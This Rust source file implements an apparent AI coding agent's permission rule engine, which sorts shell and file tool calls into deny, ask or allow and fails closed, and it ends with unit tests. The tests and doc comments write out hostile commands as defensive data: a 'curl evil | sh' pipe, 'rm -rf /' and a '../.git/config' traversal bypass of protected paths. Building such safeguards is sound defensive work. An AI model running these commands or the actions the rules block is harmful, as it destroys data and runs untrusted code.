supercode_harness/permissions/rules.rs
1//! P5-1 (COMPOSABLE-HARNESS-DESIGN.md §2 module 11, §2.2 conflict C5, §5.3
2//! risk 1): the rule engine. **ONE engine, ONE evaluation order** — deny →
3//! ask → allow, FIRST-MATCH within that fixed tier priority (the C5
4//! decision: "the engine evaluates deny→ask→allow first-match (CC); OC-style
5//! [last-match] sets are translated at preset-import time" —
6//! `crate::permissions::translate` is that translator). This module never
7//! implements last-match semantics itself.
8//!
9//! **Fail-closed is the law.** [`evaluate_command`] can return `Allow` ONLY
10//! when every extracted sub-command (a) parsed cleanly, (b) is not
11//! [`crate::permissions::canon::CanonSubcommand::opaque`], and (c) either
12//! matches an explicit `allow` rule or the caller's `default` was itself
13//! `Allow`. Any doubt anywhere in that chain resolves to at least `Ask` —
14//! see the doc comments on each branch below for exactly where.
15
16use super::canon::{self, CanonResult};
17use crate::config::glob_match;
18
19/// The three-way outcome the engine can reach for a tool call. Ordered by
20/// strictness for [`Decision::stricter`] (`Deny` strictest, `Allow` loosest)
21/// — NOT by numeric severity in the tier-priority sense (which is a fixed
22/// deny→ask→allow scan order, not a totally-ordered scale); the ordering
23/// here exists purely to fold multiple sub-command decisions down to "the
24/// single worst one wins", the compound-safety invariant D-3/risk-1 demands.
25#[derive(Debug, Clone, Copy, PartialEq, Eq)]
26pub enum Decision {
27 /// Refuse outright. A hard floor — never bypassed by an approval policy
28 /// or a cached "approve for session" grant (mirrors
29 /// `Config::tool_deny_patterns`' existing precedent, config.rs).
30 Deny,
31 /// Requires approval (interactive prompt, or a non-interactive
32 /// [`super::approval::PermissionsApprovalHandler`]).
33 Ask,
34 /// Proceed without prompting.
35 Allow,
36}
37
38impl Decision {
39 /// The stricter (lower-trust) of two decisions: `Deny` beats `Ask` beats
40 /// `Allow`. Used to fold a compound command's per-sub-command decisions
41 /// into one (§5.3 risk 1: "a compound where ANY sub-command matches a
42 /// deny rule → the whole command is denied" — generalized here to "the
43 /// whole command is AT LEAST as strict as its strictest sub-command").
44 pub fn stricter(self, other: Decision) -> Decision {
45 use Decision::*;
46 match (self, other) {
47 (Deny, _) | (_, Deny) => Deny,
48 (Ask, _) | (_, Ask) => Ask,
49 (Allow, Allow) => Allow,
50 }
51 }
52}
53
54/// A first-match deny→ask→allow rule set (§2 module 11, C5). Each list holds
55/// pattern strings in one of two forms:
56///
57/// - `"toolname"` / `"toolname*"` (a bare glob, `crate::config::glob_match`
58/// syntax) — matches by TOOL NAME only, e.g. `"tools_question"`, `"bash*"`.
59/// - `"toolname(cmdglob)"` — matches tool name (itself a glob) AND the
60/// canonicalized command/path text (also a glob) against
61/// [`RuleSet::evaluate`]'s `subject` argument, e.g. `"bash(rm -rf*)"`,
62/// `"read(*.env)"`, `"write(.git/**)"`. The `read(...)`/`write(...)`
63/// pseudo-tool names are how path rules (module 11's "read/write path
64/// rules") and protected paths (module 13, via
65/// `crate::permissions::protected_path_rules`) both reuse this one engine
66/// instead of inventing a parallel path-matching mechanism.
67/// - `"*"` — matches everything (any tool, any subject).
68#[derive(Debug, Clone, Default, PartialEq, Eq)]
69pub struct RuleSet {
70 /// Hard floor — checked first; a match here can never be overridden.
71 pub deny: Vec<String>,
72 /// Checked second.
73 pub ask: Vec<String>,
74 /// Checked last.
75 pub allow: Vec<String>,
76}
77
78impl RuleSet {
79 /// Whether this rule set has no rules in any tier (a no-op engine —
80 /// every decision falls through to the caller's default).
81 pub fn is_empty(&self) -> bool {
82 self.deny.is_empty() && self.ask.is_empty() && self.allow.is_empty()
83 }
84
85 /// deny→ask→allow first-match, generically, against `tool` +
86 /// `subject` (the canonical command text, a resolved path, or `None`
87 /// for a tool call this rule set has no richer subject for — see
88 /// `rule_matches`'s doc comment on why a `None` subject only matches
89 /// bare tool-name-glob rules, never a `tool(pattern)` rule). Returns
90 /// `None` when nothing in any tier matches — the caller decides the
91 /// fallback (see [`evaluate_command`]/[`evaluate_path`]).
92 pub fn evaluate(&self, tool: &str, subject: Option<&str>) -> Option<Decision> {
93 if self.deny.iter().any(|p| rule_matches(p, tool, subject)) {
94 return Some(Decision::Deny);
95 }
96 if self.ask.iter().any(|p| rule_matches(p, tool, subject)) {
97 return Some(Decision::Ask);
98 }
99 if self.allow.iter().any(|p| rule_matches(p, tool, subject)) {
100 return Some(Decision::Allow);
101 }
102 None
103 }
104}
105
106/// Does `pattern` match `(tool, subject)`? See [`RuleSet`]'s doc comment for
107/// the two pattern shapes. A `tool(cmdglob)` pattern with `subject == None`
108/// never matches — a rule that names a command/path constraint cannot be
109/// satisfied by a tool call this engine has no command/path text for
110/// (conservative: such a rule simply doesn't apply, it does not silently
111/// match everything).
112fn rule_matches(pattern: &str, tool: &str, subject: Option<&str>) -> bool {
113 if pattern == "*" {
114 return true;
115 }
116 if let Some(open) = pattern.find('(') {
117 if let Some(cmd_pat) = pattern.strip_suffix(')').and_then(|p| p.get(open + 1..)) {
118 let tool_pat = &pattern[..open];
119 if !glob_match(tool_pat, tool) {
120 return false;
121 }
122 return match subject {
123 Some(s) => glob_match(cmd_pat, s),
124 None => false,
125 };
126 }
127 }
128 glob_match(pattern, tool)
129}
130
131/// Evaluate a (possibly compound) shell command against `rules`, folding
132/// every extracted sub-command's decision down to the single strictest one
133/// (§5.3 risk 1's compound-safety invariant). `tool` is the calling tool's
134/// name (`"bash"`, `"shell"`, …) — sub-command patterns match as
135/// `tool(cmdglob)` against `tool`, e.g. a rule written `"bash(rm -rf*)"`
136/// applies to every sub-command of a `bash` call, not to a `shell` call.
137///
138/// `default` is the decision to use for a sub-command that parsed cleanly
139/// but matched NO rule in any tier — the caller supplies this (typically
140/// derived from `ApprovalPolicy`, see `crate::agent`'s gate) since "no rule
141/// says anything about this command" is a policy question, not something
142/// this engine decides on its own. `default` is never consulted for a
143/// sub-command the canonicalizer could not parse, or one it marked opaque —
144/// those always contribute at least `Decision::Ask` regardless of `default`
145/// (fail-closed: an `ApprovalPolicy::Never`-derived `Allow` default must NOT
146/// let an unparseable or opaque command slip through silently).
147pub fn evaluate_command(
148 rules: &RuleSet,
149 tool: &str,
150 raw_command: &str,
151 default: Decision,
152) -> Decision {
153 match canon::canonicalize(raw_command) {
154 // Fail-closed: at least `Ask`, regardless of `default` — an
155 // `ApprovalPolicy::Never`-derived `Allow` default must not let an
156 // unparseable command slip through silently.
157 CanonResult::Unparseable(_) => Decision::Ask.stricter(default),
158 CanonResult::Ok(subs) => {
159 if subs.is_empty() {
160 // Nothing to evaluate (blank command) — the caller's
161 // default stands unmodified; there is no sub-command to
162 // force a stricter floor.
163 return default;
164 }
165 let mut worst = Decision::Allow;
166 for sub in &subs {
167 let text = sub.canonical_text();
168 let d = rules.evaluate(tool, Some(&text)).unwrap_or(default);
169 let d = if sub.opaque {
170 d.stricter(Decision::Ask)
171 } else {
172 d
173 };
174 // F4 (Fable-5 adversarial review): `protected_paths` must
175 // reach the bash write surface too, not just file-tool
176 // calls — check every statically-tractable write/read
177 // target this sub-command carries (a direct shell redirect,
178 // AND a known argv-writer like `tee`/`dd of=`) against the
179 // `write(...)`/`read(...)` protected-path rules folded into
180 // `rules` (see `crate::agent`'s gate,
181 // `protected_path_deny_rules`). See this crate's
182 // permissions module doc for what this covers vs. what is
183 // deferred to `permissions.sandbox`.
184 let d = d
185 .stricter(fold_target_decisions(
186 rules,
187 "write",
188 &sub.write_redirect_targets,
189 ))
190 .stricter(fold_target_decisions(
191 rules,
192 "write",
193 &canon::known_writer_targets(&sub.argv),
194 ))
195 .stricter(fold_target_decisions(
196 rules,
197 "read",
198 &sub.read_redirect_targets,
199 ));
200 worst = worst.stricter(d);
201 }
202 worst
203 }
204 }
205}
206
207/// F4: fold a list of write/read redirect or known-argv-writer targets
208/// (`pseudo_tool` is `"write"` or `"read"`, matching
209/// [`protected_path_deny_rules`]'s pattern shape) down to the single
210/// strictest [`Decision`] any of them triggers. A target this
211/// canonicalizer can't statically prove is a real path
212/// (`canon::is_concrete_path_text` — e.g. it still contains `$VAR`/`` `cmd`
213/// ``) contributes at least `Ask`, fail-closed, rather than silently
214/// matching nothing and falling through to `Allow`. A target that IS
215/// concrete but matches no rule contributes `Allow` (the neutral case —
216/// this fold only ever ADDS a stricter floor on top of the sub-command's
217/// own tool-level decision, it never loosens it or duplicates `default`).
218fn fold_target_decisions(rules: &RuleSet, pseudo_tool: &str, targets: &[String]) -> Decision {
219 let mut d = Decision::Allow;
220 for t in targets {
221 if !canon::is_concrete_path_text(t) {
222 d = d.stricter(Decision::Ask);
223 continue;
224 }
225 d = d.stricter(
226 rules
227 .evaluate(pseudo_tool, Some(t))
228 .unwrap_or(Decision::Allow),
229 );
230 }
231 d
232}
233
234/// Evaluate a single resolved path against `rules`, as either a `"read"` or
235/// `"write"` pseudo-tool (module 11's "path rules": read/write globs — see
236/// [`RuleSet`]'s doc comment). Falls back to `default` when nothing matches.
237///
238/// SECURITY (CRITICAL fix, guarantor audit): this function does NO
239/// normalization, canonicalization, or symlink resolution of `path` — it is
240/// a pure glob-match against whatever string it is handed. A caller that
241/// feeds it a raw, unvalidated model-supplied path argument directly is
242/// vulnerable to a traversal bypass: `write_file path="x/../.git/config"`
243/// does not literally glob-match a `.git/**` protected-path rule as a raw
244/// string, even though it resolves right back onto the real `.git/config`.
245/// **Any caller evaluating a model-supplied tool `path` argument against
246/// `rules` MUST go through [`evaluate_path_safe`] instead**, which resolves
247/// `path` (lexically AND symlink-following) against the project root before
248/// calling this function — never call `evaluate_path` directly on untrusted
249/// input. This function itself remains a simple, pure, single-subject
250/// matcher (used internally, multiple times, by `evaluate_path_safe`) —
251/// callers that already have a KNOWN-safe subject (e.g. one of
252/// `evaluate_path_safe`'s own resolved forms, or a test's literal clean
253/// path) may still call it directly.
254pub fn evaluate_path(rules: &RuleSet, kind: PathKind, path: &str, default: Decision) -> Decision {
255 let pseudo_tool = match kind {
256 PathKind::Read => "read",
257 PathKind::Write => "write",
258 };
259 rules.evaluate(pseudo_tool, Some(path)).unwrap_or(default)
260}
261
262/// SECURITY (CRITICAL fix, guarantor audit, traced to this file's former
263/// `evaluate_path` doc comment claiming "no canonicalization ... is
264/// involved here ... no unparseable case to fail closed on" — the flawed
265/// assumption that let a traversal payload bypass `protected_paths`): the
266/// safe entry point for evaluating a RAW, model-supplied `path` tool
267/// argument (relative or absolute, exactly as it arrives in `args["path"]`)
268/// as a `"read"`/`"write"` pseudo-tool subject. Resolves `raw_path` against
269/// `root` through `crate::safe_path::resolve_for_matching` — the SAME dual
270/// lexical+symlink-resolved check `crate::checkpoint`'s P5-9 fix uses — and
271/// folds [`evaluate_path`] against the RAW subject, the lexically-normalized
272/// project-relative form, AND the symlink-resolved project-relative form
273/// down to the single strictest [`Decision`] (ties broken toward stricter,
274/// via [`Decision::stricter`]), so a rule can never be satisfied by
275/// matching only one of these three views.
276///
277/// This is what closes the CRITICAL bug: `write_file
278/// path="x/../.git/config"` with `protected_paths=[".git/**"]` — the raw
279/// subject `"x/../.git/config"` does not match, but the resolved subject
280/// `".git/config"` does, so the fold still lands on `Decision::Deny`.
281///
282/// FAIL-CLOSED: if `root`/`raw_path` cannot be proven safe (a resolution
283/// error, or `raw_path` lexically looks contained but symlink-resolves
284/// OUTSIDE `root` — see `crate::safe_path::PathForMatching::Unsafe`), the
285/// result is escalated to at least [`Decision::Deny`], never silently
286/// falling through to `default`. A path that legitimately resolves outside
287/// `root` entirely (e.g. an absolute write elsewhere under
288/// `SandboxPolicy::DangerFullAccess`) is NOT penalized for that alone — only
289/// the raw-subject match applies to it, exactly as before this fix (no
290/// over-block).
291pub fn evaluate_path_safe(
292 rules: &RuleSet,
293 kind: PathKind,
294 root: &std::path::Path,
295 raw_path: &str,
296 default: Decision,
297) -> Decision {
298 let pseudo_tool = match kind {
299 PathKind::Read => "read",
300 PathKind::Write => "write",
301 };
302 evaluate_path_subject_safe(rules, pseudo_tool, root, raw_path, default)
303}
304
305/// BP-10 (catalog row "Additional working directories"): [`evaluate_path_safe`]
306/// over EVERY granted root — `cwd` plus each `core.additional_dirs`/
307/// `--add-dir` entry — folded to the strictest [`Decision`] any of them
308/// reaches.
309///
310/// Why a fold rather than "pick the containing root": a root-relative
311/// protected-path floor (`write(.git/**)`, from
312/// [`protected_path_deny_rules`]) is written relative to A workspace root,
313/// and once an extra root is granted there is more than one. Evaluating
314/// against only `cwd` — what this crate did before BP-10 — meant a write to
315/// `<extra_root>/.git/config` matched NO root-relative pattern at all and
316/// fell through to `default`, i.e. the grant silently also removed the
317/// floor inside the granted directory. Folding every root keeps the floor
318/// on all of them; and because [`evaluate_path_subject_safe`] already
319/// treats "resolves entirely outside this root" as a non-match (never an
320/// over-block), a root a path has nothing to do with contributes nothing.
321///
322/// `roots` empty is impossible in practice (callers pass
323/// [`crate::tools::ToolContext::write_roots`]-shaped lists that always
324/// start with `cwd`); an empty slice returns `default` unchanged.
325pub fn evaluate_path_safe_roots(
326 rules: &RuleSet,
327 kind: PathKind,
328 roots: &[std::path::PathBuf],
329 raw_path: &str,
330 default: Decision,
331) -> Decision {
332 let pseudo_tool = match kind {
333 PathKind::Read => "read",
334 PathKind::Write => "write",
335 };
336 evaluate_path_subject_safe_roots(rules, pseudo_tool, roots, raw_path, default)
337}
338
339/// BP-10: [`evaluate_path_subject_safe`] over every granted root — see
340/// [`evaluate_path_safe_roots`]'s doc comment for the fold's rationale.
341pub fn evaluate_path_subject_safe_roots(
342 rules: &RuleSet,
343 tool: &str,
344 roots: &[std::path::PathBuf],
345 raw_path: &str,
346 default: Decision,
347) -> Decision {
348 let mut decision = default;
349 let mut any = false;
350 for root in roots {
351 let d = evaluate_path_subject_safe(rules, tool, root, raw_path, default);
352 decision = if any { decision.stricter(d) } else { d };
353 any = true;
354 }
355 decision
356}
357
358/// Like [`evaluate_path_safe`], but for an arbitrary `tool` name subject
359/// instead of the `read`/`write` pseudo-tool — e.g. a rule authored against
360/// the REAL tool name with a path subject (design §4.4's `"read_file(*.env)"`
361/// syntax, or an `apply_patch`-targeted rule). [`evaluate_path_safe`] is a
362/// thin wrapper over this for the pseudo-tool case; callers that need BOTH
363/// (the permissions gate always does — see `crate::agent`'s
364/// `permissions_gate_denial_impl`) call this function a second time with
365/// `tool` set to the real tool name and fold the two results together.
366pub fn evaluate_path_subject_safe(
367 rules: &RuleSet,
368 tool: &str,
369 root: &std::path::Path,
370 raw_path: &str,
371 default: Decision,
372) -> Decision {
373 let mut decision = rules.evaluate(tool, Some(raw_path)).unwrap_or(default);
374 match crate::safe_path::resolve_for_matching(root, raw_path) {
375 crate::safe_path::PathForMatching::Inside {
376 lexical_rel,
377 resolved_rel,
378 } => {
379 decision =
380 decision.stricter(rules.evaluate(tool, Some(&lexical_rel)).unwrap_or(default));
381 if resolved_rel != lexical_rel {
382 decision =
383 decision.stricter(rules.evaluate(tool, Some(&resolved_rel)).unwrap_or(default));
384 }
385 }
386 crate::safe_path::PathForMatching::Outside => {
387 // No root-relative protected-floor pattern can apply to a path
388 // that resolves entirely outside `root` — the raw-subject match
389 // above already covers any rule authored against an absolute
390 // path. Not itself hostile (no over-block).
391 }
392 crate::safe_path::PathForMatching::Unsafe(_reason) => {
393 // FAIL CLOSED: could not prove this path safe (resolution
394 // error, or a symlink escape out of `root`) — never fall
395 // through to `default`/`Allow`.
396 decision = decision.stricter(Decision::Deny);
397 }
398 }
399 decision
400}
401
402/// BP-10 (catalog row "Allow/ask/deny rule language", semantics "Pattern
403/// rules per tool/path/**domain**/command"): the FOURTH rule subject —
404/// evaluate a network HOST against `rules` as the `domain` pseudo-tool,
405/// exactly the way [`evaluate_path`] evaluates a path as the `read`/`write`
406/// pseudo-tools. A rule is written `"domain(evil.example)"` /
407/// `"domain(*.evil.example)"`, or bare `"domain"` to name every host at
408/// once; the glob syntax, the tier priority, and the first-match order are
409/// the engine's, not a second matcher's.
410///
411/// `host: None` (a URL with no parseable host) is [`Decision::Deny`],
412/// fail-closed — an unresolvable host cannot be proven to satisfy an
413/// allowlist. `host` is lowercased before matching (hostnames are
414/// case-insensitive; patterns are expected lowercase).
415pub fn evaluate_domain(rules: &RuleSet, host: Option<&str>, default: Decision) -> Decision {
416 let Some(host) = host else {
417 return Decision::Deny;
418 };
419 let host = host.to_ascii_lowercase();
420 rules.evaluate("domain", Some(&host)).unwrap_or(default)
421}
422
423/// BP-10: does the DENY tier alone match `host`? Used only to tell the two
424/// refusal REASONS apart ("denied by" vs "not on the allowlist") — the
425/// decision itself is always [`evaluate_domain`]'s.
426pub fn domain_denied_explicitly(rules: &RuleSet, host: &str) -> bool {
427 let deny_only = RuleSet {
428 deny: rules.deny.clone(),
429 ..Default::default()
430 };
431 deny_only.evaluate("domain", Some(&host.to_ascii_lowercase())) == Some(Decision::Deny)
432}
433
434/// Which access [`evaluate_path`] is checking — matches module 11's
435/// `read(...)`/`write(...)` pseudo-tool rule pattern names.
436#[derive(Debug, Clone, Copy, PartialEq, Eq)]
437pub enum PathKind {
438 /// A read access (`read_file`, `view_image`, …).
439 Read,
440 /// A write access (`write_file`, `edit_file`, …).
441 Write,
442}
443
444/// Module 13 (`permissions.protected_paths`): build the `read(...)` +
445/// `write(...)` deny rules a protected-paths glob list expands to — a
446/// protected path is unconditionally denied for BOTH read and write, unlike
447/// an ordinary rule (this is the "never auto-approved" floor cc§4 documents
448/// for `.git/**`/`.env*`/etc, not an ordinary ask/allow-able rule). Callers
449/// fold the result into a [`RuleSet`]'s `deny` list (see
450/// `crate::configfile::materialize_config`), which — because `deny` is
451/// always checked first, unconditionally, with no override — makes a
452/// protected path exactly as hard a floor as `Config::tool_deny_patterns`
453/// already is (config.rs).
454pub fn protected_path_deny_rules(paths: &[String]) -> Vec<String> {
455 let mut out = Vec::with_capacity(paths.len() * 2);
456 for p in paths {
457 out.push(format!("read({p})"));
458 out.push(format!("write({p})"));
459 }
460 out
461}
462
463#[cfg(test)]
464mod tests {
465 use super::*;
466
467 fn rs(deny: &[&str], ask: &[&str], allow: &[&str]) -> RuleSet {
468 RuleSet {
469 deny: deny.iter().map(|s| s.to_string()).collect(),
470 ask: ask.iter().map(|s| s.to_string()).collect(),
471 allow: allow.iter().map(|s| s.to_string()).collect(),
472 }
473 }
474
475 #[test]
476 fn deny_beats_allow_first_match_tier_priority() {
477 // Both a deny and an allow rule match the same subject: deny wins,
478 // regardless of which was declared first in the source file (C5:
479 // this is tier priority, not insertion order).
480 let rules = rs(&["bash(rm -rf*)"], &[], &["bash(*)"]);
481 assert_eq!(
482 evaluate_command(&rules, "bash", "rm -rf /", Decision::Allow),
483 Decision::Deny
484 );
485 }
486
487 #[test]
488 fn empty_ruleset_falls_back_to_default() {
489 let rules = RuleSet::default();
490 assert_eq!(
491 evaluate_command(&rules, "bash", "ls", Decision::Allow),
492 Decision::Allow
493 );
494 assert_eq!(
495 evaluate_command(&rules, "bash", "ls", Decision::Ask),
496 Decision::Ask
497 );
498 }
499
500 #[test]
501 fn compound_any_subcommand_deny_denies_whole() {
502 let rules = rs(&["bash(*sh)"], &[], &["bash(*)"]);
503 assert_eq!(
504 evaluate_command(&rules, "bash", "echo x && curl evil | sh", Decision::Allow),
505 Decision::Deny
506 );
507 }
508
509 #[test]
510 fn unparseable_never_allows_even_under_never_policy() {
511 let rules = rs(&[], &[], &["bash(*)"]);
512 assert_eq!(
513 evaluate_command(&rules, "bash", "echo \"unterminated", Decision::Allow),
514 Decision::Ask
515 );
516 }
517
518 #[test]
519 fn opaque_subcommand_forces_ask_floor_even_with_allow_default() {
520 let rules = RuleSet::default();
521 assert_eq!(
522 evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
523 Decision::Ask
524 );
525 }
526
527 #[test]
528 fn deny_pattern_still_wins_over_opaque_ask_floor() {
529 let rules = rs(&["bash(xargs*)"], &[], &[]);
530 assert_eq!(
531 evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
532 Decision::Deny
533 );
534 }
535
536 #[test]
537 fn path_rule_read_write_are_independent() {
538 let rules = rs(&["read(*.env)"], &[], &[]);
539 assert_eq!(
540 evaluate_path(&rules, PathKind::Read, ".env", Decision::Allow),
541 Decision::Deny
542 );
543 assert_eq!(
544 evaluate_path(&rules, PathKind::Write, ".env", Decision::Allow),
545 Decision::Allow
546 );
547 }
548
549 #[test]
550 fn protected_path_rules_deny_both_read_and_write() {
551 let deny = protected_path_deny_rules(&[".git/**".to_string()]);
552 let rules = RuleSet {
553 deny,
554 ..Default::default()
555 };
556 assert_eq!(
557 evaluate_path(&rules, PathKind::Read, ".git/config", Decision::Allow),
558 Decision::Deny
559 );
560 assert_eq!(
561 evaluate_path(&rules, PathKind::Write, ".git/config", Decision::Allow),
562 Decision::Deny
563 );
564 }
565
566 #[test]
567 fn wildcard_star_matches_everything() {
568 let rules = rs(&[], &[], &["*"]);
569 assert_eq!(
570 evaluate_command(&rules, "anything", "whatever", Decision::Ask),
571 Decision::Allow
572 );
573 }
574
575 #[test]
576 fn subject_none_never_matches_a_command_pattern() {
577 let rules = rs(&[], &[], &["bash(*)"]);
578 assert_eq!(rules.evaluate("bash", None), None);
579 }
580
581 #[test]
582 fn decision_stricter_ordering() {
583 assert_eq!(Decision::Deny.stricter(Decision::Allow), Decision::Deny);
584 assert_eq!(Decision::Ask.stricter(Decision::Allow), Decision::Ask);
585 assert_eq!(Decision::Allow.stricter(Decision::Allow), Decision::Allow);
586 assert_eq!(Decision::Deny.stricter(Decision::Ask), Decision::Deny);
587 }
588}